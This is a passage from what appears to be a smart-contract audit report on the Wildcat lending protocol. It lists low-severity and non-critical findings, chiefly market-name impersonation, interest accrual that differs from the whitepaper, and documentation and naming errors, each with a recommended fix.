When a new market is deployed, its name and prefix are generated by appending the underlying asset’s name and symbol to the name and symbol prefixes provided by the borrower. In the audit description, this is explained as Code4rena deploying a market and passing Code4rena as name prefix and C4 as symbol prefix.

A malicious borrower could exploit this functionality to deploy markets for other well-known assets with the same Code4rena prefixes, potentially tricking lenders into lending them money and mimicking other borrowers. This could lead to confusion and potentially fraudulent activities.

Recommended Mitigation Steps

The recommended solution for this is to let each borrower choose a borrower identifier (that gets issued to them by Wildcat). This, in the Code4rena example, would be the “Code4rena” and “C4” strings. Now the hashes (hashes instead of strings to save gas on storage cost) of those identifiers get stored onchain whenever a new borrower gets added. Whenever Code4rena deploys a new market they pass their identifier, as well as a chosen Postfix, which would allow them to deploy multiple markets for the same asset (for example, with different interest rates). The protocol then verifies if the identifiers match the hash and revert if that is not the case. The market mame would then, for example, look like this “Code4renaShortTermDAI”.

[L-10] Interest continues to accrue up to the expiry.

Issue Description

The whitepaper on page 12 states that interest ceases to be paid at the time when tokens get burned or when withdrawals are queued in the line “Interest ceases to be paid on Bob’s deposit from the moment that the whcWETH tokens were burned, regardless of the length of the withdrawal cycle”.

However, the actual code behavior differs. In the Wildcat protocol’s implementation, interest continues to accrue until the expiration of the withdrawal period, as evident in the code snippet below:

if (state.hasPendingExpiredBatch()) {
  uint256 expiry = state.pendingWithdrawalExpiry;
  // Interest accrual only if time has passed since last update.
  // This condition is only false when withdrawalBatchDuration is 0.
  if (expiry != state.lastInterestAccruedTimestamp) {
    (uint256 baseInterestRay, uint256 delinquencyFeeRay, uint256 protocolFee) = state
      .updateScaleFactorAndFees(
        protocolFeeBips,
        delinquencyFeeBips,
        delinquencyGracePeriod,
        expiry
      );
    emit ScaleFactorUpdated(state.scaleFactor, baseInterestRay, delinquencyFeeRay, protocolFee);
  }
  _processExpiredWithdrawalBatch(state);
}

Recommended Mitigation Steps

To address this issue, there are two potential courses of action:

If the intended behavior is for interest to continue accruing until the withdrawal period expires, then the documentation should be updated to align with the current code behavior.
If the documentation accurately reflects the intended interest-accrual behavior (i.e., interest should stop accruing when withdrawals are queued), then the conditional statement as shown in the code snippet should be removed from the function _getUpdatedState().

Non-Critical Issues

[N-01] Badly named constant `BIP`

MathUtils Line 6

Issue Description

The variable BIP is used to represent the maximum BIP in the protocol, where at most different rates can be set to 10,000, equivalent to 100%. The variable name could be misleading, as it may incorrectly suggest that it represents one BIP, which should be equal to 1.

Recommended Mitigation Steps

To enhance clarity, rename the variable to MAX_BIP.

[N-02] Incorrect documentation on capacity resizing

Issue Description

The whitepaper (on page 5) states that the “maximum capacity of a vault can be adjusted at will up or down by the borrower depending on the current need.” However, the maxCapacity can only be reduced down to the current liquidity inside the market, as per the code. This discrepancy between the documentation and the code could lead to a misunderstanding.

if (_maxTotalSupply < state.totalSupply()) {
	revert NewMaxSupplyTooLow();
}

Recommended Mitigation Steps

Revise the whitepaper to accurately reflect that the “maximum capacity of a vault can be adjusted at will, but only down to the current supply of the market.”

[N-03] Incorrect documentation on authentication process

Whitepaper, page 7

Issue Description

The whitepaper states that “Vaults query a specified controller to determine who can interact.” However, the interaction rights are set by the controller on the market. There is no callback from the market to the controller, except for the initial call of the lender when authorization is null. The whitepaper should be updated to align with the actual code implementation.

Recommended Mitigation Steps

Update the documentation to describe the functionality as it exists in the code.

[N-04] Incorrect documentation of `registerControllerFactory()`

WildcatArchController Line 106

Issue Description

The documentation in the GitBook states that the function registerControllerFactory() only reverts if “The controller factory has already been registered.” This is inaccurate because the function also uses the onlyOwner() modifier, which causes it to revert if called by someone other than the owner.

Recommended Mitigation Steps

Revise the documentation to include the statement “Called by someone other than the owner.”

[N-05] Incorrect documentation of `removeControllerFactory()`

WildcatArchController Line 113

Issue Description

The documentation in the GitBook states that the function removeControllerFactory() only reverts if “The controller factory address does not exist or has been removed.” This is not entirely accurate, as the function also employs the onlyOwner() modifier, causing it to revert if called by someone other than the owner.

Recommended Mitigation Steps

Update the documentation to include the statement “Called by someone other than the owner.”

[N-06] Documentation of the functions is missing

Issue Description

The GitBook documentation lists numerous functions in the component overview section that lack descriptions. This omission can make it challenging for users and developers to understand the purpose and usage of these functions.

Recommended Mitigation Steps

Provide descriptions for the missing functions in the documentation to enhance clarity and understanding.

[N-07] Incorrect comment in `_depositBorrowWithdraw()`

BaseMarketTest Line 71

Issue Description

Inside the function, the comments state that 80% of the market assets get borrowed and 100% of withdrawal get withdrawn. This is not the case, as instead, the provided parameters depositAmount, borrowAmount and withdrawalAmount are used. There are no `require statements in the function that check for these requirements; 80%/100% being fulfilled by the parameters.

Recommended Mitigation Steps

To address this issue, consider either adding require statements to verify that the parameters adhere to the stated percentages, or remove the comments if they no longer apply to the functionality.